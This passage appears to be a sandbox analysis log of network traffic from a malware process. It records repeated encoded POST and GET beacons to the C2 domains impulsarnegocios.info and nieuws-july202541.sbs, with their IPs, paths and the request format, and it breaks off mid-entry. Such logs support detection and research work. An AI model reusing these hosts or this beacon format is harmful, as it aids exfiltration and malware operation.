Oct 7, 2024 12:34:13.454796076 CEST	787	OUT	POST /fp1z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.impulsarnegocios.info Origin: http://www.impulsarnegocios.info Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.impulsarnegocios.info/fp1z/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 5a 4f 56 70 47 41 66 45 56 2f 74 30 6d 6f 59 66 44 58 4f 54 65 43 51 48 52 30 53 54 44 79 31 41 72 59 4e 70 37 59 49 32 4c 79 49 39 6f 51 4c 69 6e 79 75 4e 4d 77 34 34 6a 39 50 4b 52 65 31 58 63 4e 55 4c 66 53 56 4b 69 41 50 4f 6d 33 35 41 76 66 36 4d 32 48 31 33 53 33 30 39 76 36 57 38 39 35 76 61 51 59 58 65 67 63 32 53 64 65 4c 57 43 6b 76 6f 58 4f 78 45 4d 4a 78 4a 63 6c 38 51 43 56 53 71 6c 57 30 32 52 75 6c 31 32 32 38 46 50 4e 4b 32 44 74 74 70 68 59 58 5a 5a 34 4b 49 63 54 64 48 67 70 41 4d 5a 73 72 49 6d 34 7a 79 43 53 69 2b 6d 46 34 66 61 55 43 36 4a 6b 57 4c 48 43 49 6b 78 4d 2b 49 52 70 34 7a Data Ascii: ej6Le=ZOVpGAfEV/t0moYfDXOTeCQHR0STDy1ArYNp7YI2LyI9oQLinyuNMw44j9PKRe1XcNULfSVKiAPOm35Avf6M2H13S309v6W895vaQYXegc2SdeLWCkvoXOxEMJxJcl8QCVSqlW02Rul1228FPNK2DttphYXZZ4KIcTdHgpAMZsrIm4zyCSi+mF4faUC6JkWLHCIkxM+IRp4z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50001	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:15.997273922 CEST	811	OUT	POST /fp1z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.impulsarnegocios.info Origin: http://www.impulsarnegocios.info Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.impulsarnegocios.info/fp1z/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 5a 4f 56 70 47 41 66 45 56 2f 74 30 6e 49 6f 66 50 57 4f 54 59 69 51 47 55 30 53 54 4b 53 30 48 72 59 52 70 37 5a 4e 72 4d 41 38 39 70 78 37 69 6d 32 61 4e 4c 77 34 34 73 64 50 50 66 2b 30 56 63 4e 49 35 66 54 46 4b 69 41 62 4f 6d 79 39 41 76 4d 69 50 32 58 30 52 48 6e 30 37 69 61 57 38 39 35 76 61 51 63 2b 37 67 59 61 53 65 75 37 57 42 46 76 6e 55 4f 78 4c 63 5a 78 4a 59 6c 38 55 43 56 53 55 6c 58 6f 4d 52 71 56 31 32 79 77 46 4f 65 53 31 4e 74 74 72 76 34 57 70 51 36 54 34 62 43 31 47 6a 70 63 39 48 73 44 5a 71 75 79 6f 65 68 69 64 30 56 59 64 61 57 61 49 4a 45 57 68 46 43 77 6b 6a 62 79 76 65 64 64 51 30 58 39 33 4a 79 74 68 67 69 41 49 77 51 62 48 58 59 71 2b 6b 51 3d 3d Data Ascii: ej6Le=ZOVpGAfEV/t0nIofPWOTYiQGU0STKS0HrYRp7ZNrMA89px7im2aNLw44sdPPf+0VcNI5fTFKiAbOmy9AvMiP2X0RHn07iaW895vaQc+7gYaSeu7WBFvnUOxLcZxJYl8UCVSUlXoMRqV12ywFOeS1Nttrv4WpQ6T4bC1Gjpc9HsDZquyoehid0VYdaWaIJEWhFCwkjbyveddQ0X93JythgiAIwQbHXYq+kQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50003	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:18.537975073 CEST	1824	OUT	POST /fp1z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.impulsarnegocios.info Origin: http://www.impulsarnegocios.info Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.impulsarnegocios.info/fp1z/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 5a 4f 56 70 47 41 66 45 56 2f 74 30 6e 49 6f 66 50 57 4f 54 59 69 51 47 55 30 53 54 4b 53 30 48 72 59 52 70 37 5a 4e 72 4d 41 6b 39 70 44 7a 69 6e 52 47 4e 4b 77 34 34 68 39 50 4f 66 2b 30 55 63 4e 42 79 66 57 64 77 69 43 6a 4f 33 6b 42 41 37 74 69 50 38 58 30 52 46 6e 30 36 76 36 57 70 39 39 44 65 51 59 69 37 67 59 61 53 65 74 7a 57 56 6b 76 6e 53 4f 78 45 4d 4a 78 4e 63 6c 39 7a 43 56 4b 69 6c 58 39 75 51 5a 64 31 32 53 67 46 4a 74 32 31 53 64 74 74 6f 34 57 78 51 36 76 6e 62 43 34 33 6a 71 42 67 48 72 7a 5a 70 36 33 43 48 78 53 6e 6f 6a 51 78 43 6d 71 4c 50 43 47 74 4c 52 64 55 73 34 79 7a 65 4a 4a 76 73 41 74 41 63 7a 63 2b 6f 6a 38 6b 32 77 71 71 55 72 47 37 30 61 43 7a 79 34 59 35 76 74 78 79 47 71 38 50 36 6c 64 4a 32 57 79 6f 46 76 55 30 42 30 45 58 69 2b 78 73 61 56 50 4d 64 52 64 4e 79 55 46 76 6b 7a 67 33 4a 57 72 33 34 38 7a 76 57 6b 51 58 46 74 77 65 35 66 4b 5a 65 30 59 73 73 78 35 4a 4f 54 53 67 37 4c 76 37 67 68 7a 47 4c 4b 53 59 32 67 4e 56 5a 34 75 45 67 57 36 65 [TRUNCATED] Data Ascii: ej6Le=ZOVpGAfEV/t0nIofPWOTYiQGU0STKS0HrYRp7ZNrMAk9pDzinRGNKw44h9POf+0UcNByfWdwiCjO3kBA7tiP8X0RFn06v6Wp99DeQYi7gYaSetzWVkvnSOxEMJxNcl9zCVKilX9uQZd12SgFJt21Sdtto4WxQ6vnbC43jqBgHrzZp63CHxSnojQxCmqLPCGtLRdUs4yzeJJvsAtAczc+oj8k2wqqUrG70aCzy4Y5vtxyGq8P6ldJ2WyoFvU0B0EXi+xsaVPMdRdNyUFvkzg3JWr348zvWkQXFtwe5fKZe0Yssx5JOTSg7Lv7ghzGLKSY2gNVZ4uEgW6eJSTT/1CVZGcN0dZwEa0PC2mTJiT3uRGQCSt/2TsPwOyXn3kRmXlWirFlW6PT1nDZ2GFsuCUU5ZvA6+OAIo/f+TqIR71Q7P2jYaCxor0Kdf2lGFDiXhvAKgZ1iJIJ0AfMlrSsJi6r7n/WUDH/XFSytRKg6WB58qjnPcjtFLXOFCSTNKH+Pd7zRXIgoEvz6Q0DjRH7vi2xxLL5RY2fNM3BmM15uKcsxfydrCIuTH4j/wHL8rUal3tUfGAKOa1ZmIr+0U3DOR6WJ8KpyTOWubWRgV1B7yFvQCXwy3Rj7IXibq2Adl9jYMIBl50xEnXFyuqRpTIGPspRLrVGPcJX7NV2DOQR/OJGf5DrszLIbQV3PaImN6tkBgSQKKcQhr20oT/xHLmD7fGfA9Ob8tXRV+qwzyYXQ9h5G64xmK/IypSIotp9AiL2Mr0Hmfhcu75GT/ACnCUe6O9E7UVonyc0eo9Dv6WjuaZ4lK/lJfazTMQu30T5iVta3GVkJoO8eceP/JI+NysHAxwsgoSPBD/qXb1dJ8yGU6DvOwht98HuoL8binHLQCWowLsdS2Am1qRDnaZkwk7XrX0bil9MVFCUO5o/NYyRDIbeJNMTyQALiYnwl/uMQelYS5uC1zcT0WEP1A4TUEhq6wjVhVhYw8TFogRJFGQkYSlZPqxnMM [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50004	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:21.068662882 CEST	513	OUT	GET /fp1z/?ej6Le=UM9JF3nEU4xQ/PwLWGC6ZGprDkqeXDETquU6+bQNCANtrDf9n2+FDVI8iqG/UPksDfc6HQNuzTnZ4EJOssmSqFcoG0I3gKiI2YTwSr3+9s/MRsmHXzjzE9U3d6U0PlwuaFK3vCk=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.impulsarnegocios.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:34:22.446708918 CEST	413	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 10:34:22 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 6a 36 4c 65 3d 55 4d 39 4a 46 33 6e 45 55 34 78 51 2f 50 77 4c 57 47 43 36 5a 47 70 72 44 6b 71 65 58 44 45 54 71 75 55 36 2b 62 51 4e 43 41 4e 74 72 44 66 39 6e 32 2b 46 44 56 49 38 69 71 47 2f 55 50 6b 73 44 66 63 36 48 51 4e 75 7a 54 6e 5a 34 45 4a 4f 73 73 6d 53 71 46 63 6f 47 30 49 33 67 4b 69 49 32 59 54 77 53 72 33 2b 39 73 2f 4d 52 73 6d 48 58 7a 6a 7a 45 39 55 33 64 36 55 30 50 6c 77 75 61 46 4b 33 76 43 6b 3d 26 41 6e 3d 6d 4c 64 78 6f 32 59 38 52 4c 52 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ej6Le=UM9JF3nEU4xQ/PwLWGC6ZGprDkqeXDETquU6+bQNCANtrDf9n2+FDVI8iqG/UPksDfc6HQNuzTnZ4EJOssmSqFcoG0I3gKiI2YTwSr3+9s/MRsmHXzjzE9U3d6U0PlwuaFK3vCk=&An=mLdxo2Y8RLRh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50005	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:27.501383066 CEST	787	OUT	POST /odii/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202541.sbs Origin: http://www.nieuws-july202541.sbs Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202541.sbs/odii/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 51 58 70 48 38 4c 6c 73 75 51 34 71 59 42 48 43 52 61 57 58 73 69 6c 34 69 4f 42 77 52 5a 39 4b 56 72 65 77 67 78 59 72 39 58 69 30 41 49 6d 42 51 72 31 4a 78 4d 6d 58 33 31 4a 6d 79 67 64 36 42 6f 46 61 47 42 7a 35 48 49 31 43 45 59 53 4f 4c 47 67 43 48 68 39 2f 6f 4a 62 47 32 6e 6c 49 4a 30 6a 66 34 69 4c 49 2b 41 78 66 51 4c 57 6e 64 63 54 4f 57 4d 50 4c 51 63 35 72 7a 77 62 35 49 47 51 54 5a 49 63 75 74 34 59 76 4b 67 63 77 30 76 44 6a 41 4e 54 58 77 65 46 6a 76 57 79 48 56 47 4c 6f 4b 44 59 6c 72 34 38 35 50 4b 68 63 30 4c 66 71 6d 51 37 43 4b 75 59 62 43 41 50 69 73 6d 6a 4c 43 77 4d 30 73 45 36 67 Data Ascii: ej6Le=QXpH8LlsuQ4qYBHCRaWXsil4iOBwRZ9KVrewgxYr9Xi0AImBQr1JxMmX31Jmygd6BoFaGBz5HI1CEYSOLGgCHh9/oJbG2nlIJ0jf4iLI+AxfQLWndcTOWMPLQc5rzwb5IGQTZIcut4YvKgcw0vDjANTXweFjvWyHVGLoKDYlr485PKhc0LfqmQ7CKuYbCAPismjLCwM0sE6g
Oct 7, 2024 12:34:28.111026049 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:34:28 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 1351ZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Oct 7, 2024 12:34:28.111044884 CEST	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Oct 7, 2024 12:34:28.111056089 CEST	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Oct 7, 2024 12:34:28.111212015 CEST	1236	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Oct 7, 2024 12:34:28.111222029 CEST	293	IN	Data Raw: 04 af 63 9e 5d ee ed c2 f9 6e 00 ff 84 fc 95 50 d7 57 cc 9f c8 72 cd fe a7 c0 fd 0c 54 7f 7a 41 d5 9f 3f d5 c6 45 e0 f7 b6 bc de f1 79 f8 8f 34 06 d4 f9 4e 09 cf aa ba fb f6 08 7f b6 ea 11 fe c8 3c 37 80 fa 80 af ab 08 f1 ca e2 e3 73 65 ef bd c2 Data Ascii: c]nPWrTzA?Ey4N<7se]?z{ZWeV}N@gHP;$7AJNYW`w$wH\|*_bj`2ZweCfovM3pKuJAhpM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50006	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:30.051422119 CEST	811	OUT	POST /odii/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202541.sbs Origin: http://www.nieuws-july202541.sbs Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202541.sbs/odii/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 51 58 70 48 38 4c 6c 73 75 51 34 71 5a 68 33 43 51 35 75 58 37 79 6c 37 6e 4f 42 77 48 70 39 4f 56 72 69 77 67 30 34 42 39 6c 47 30 4f 4a 57 42 52 70 4e 4a 32 4d 6d 58 34 56 49 73 39 41 64 6b 42 6f 4a 53 47 44 33 35 48 49 78 43 45 59 43 4f 4c 31 59 44 47 78 39 35 6b 70 62 59 31 58 6c 49 4a 30 6a 66 34 69 66 75 2b 44 42 66 51 62 47 6e 64 39 54 42 66 73 50 4d 58 63 35 72 67 67 62 39 49 47 51 39 5a 4a 77 45 74 37 73 76 4b 68 73 77 30 2b 44 67 4f 4e 54 52 30 65 45 51 67 57 54 73 51 6d 69 6b 4f 53 63 57 38 59 35 53 44 63 67 47 6f 34 66 4a 30 41 62 41 4b 73 41 70 43 67 50 49 75 6d 62 4c 51 6e 41 54 6a 77 66 44 4c 6b 32 33 70 4f 48 31 74 4e 66 78 47 79 61 64 49 54 79 70 54 77 3d 3d Data Ascii: ej6Le=QXpH8LlsuQ4qZh3CQ5uX7yl7nOBwHp9OVriwg04B9lG0OJWBRpNJ2MmX4VIs9AdkBoJSGD35HIxCEYCOL1YDGx95kpbY1XlIJ0jf4ifu+DBfQbGnd9TBfsPMXc5rggb9IGQ9ZJwEt7svKhsw0+DgONTR0eEQgWTsQmikOScW8Y5SDcgGo4fJ0AbAKsApCgPIumbLQnATjwfDLk23pOH1tNfxGyadITypTw==
Oct 7, 2024 12:34:30.677895069 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:34:30 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135BZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Oct 7, 2024 12:34:30.677911997 CEST	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Oct 7, 2024 12:34:30.677922010 CEST	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Oct 7, 2024 12:34:30.678037882 CEST	1236	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Oct 7, 2024 12:34:30.678049088 CEST	288	IN	Data Raw: 04 af 63 9e 5d ee ed c2 f9 6e 00 ff 84 fc 95 50 d7 57 cc 9f c8 72 cd fe a7 c0 fd 0c 54 7f 7a 41 d5 9f 3f d5 c6 45 e0 f7 b6 bc de f1 79 f8 8f 34 06 d4 f9 4e 09 cf aa ba fb f6 08 7f b6 ea 11 fe c8 3c 37 80 fa 80 af ab 08 f1 ca e2 e3 73 65 ef bd c2 Data Ascii: c]nPWrTzA?Ey4N<7se]?z{ZWeV}N@gHP;$7AJNYW`w$wH\|*_bj`2ZweCfovM3pKuJAhpM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50008	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:32.589368105 CEST	1824	OUT	POST /odii/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202541.sbs Origin: http://www.nieuws-july202541.sbs Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202541.sbs/odii/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 51 58 70 48 38 4c 6c 73 75 51 34 71 5a 68 33 43 51 35 75 58 37 79 6c 37 6e 4f 42 77 48 70 39 4f 56 72 69 77 67 30 34 42 39 6c 4f 30 4f 2f 43 42 51 4f 5a 4a 33 4d 6d 58 78 31 49 76 39 41 63 68 42 6f 42 57 47 44 72 70 48 4b 35 43 46 2b 4f 4f 50 30 59 44 4d 78 39 35 73 4a 62 46 32 6e 6c 6e 4a 30 7a 62 34 69 50 75 2b 44 42 66 51 5a 4f 6e 61 73 54 42 5a 73 50 4c 51 63 35 2f 7a 77 62 46 49 47 5a 41 5a 4a 45 2b 74 4e 63 76 4b 42 38 77 79 49 66 67 47 4e 54 54 7a 65 45 49 67 57 66 7a 51 67 47 53 4f 53 6f 76 38 66 78 53 41 5a 42 6b 34 34 6a 74 71 52 33 46 53 62 42 43 63 6d 54 36 69 51 4f 33 52 6b 6b 30 6f 7a 66 4b 49 44 4f 78 72 74 57 34 6f 50 54 74 49 79 33 2f 4f 53 76 41 4c 35 4d 7a 66 51 4f 53 59 48 75 4d 77 50 73 59 58 2f 74 75 66 67 37 7a 34 52 45 41 2b 54 59 73 5a 52 54 78 43 42 36 43 58 43 30 45 4b 4f 4f 77 56 51 70 4b 37 62 78 42 43 65 36 32 46 32 78 5a 2b 64 53 5a 31 6f 31 41 53 67 70 62 54 69 79 59 49 54 49 54 32 37 64 59 67 75 62 70 48 39 52 38 47 31 54 4e 53 2b 73 38 73 4d 4d 7a [TRUNCATED] Data Ascii: 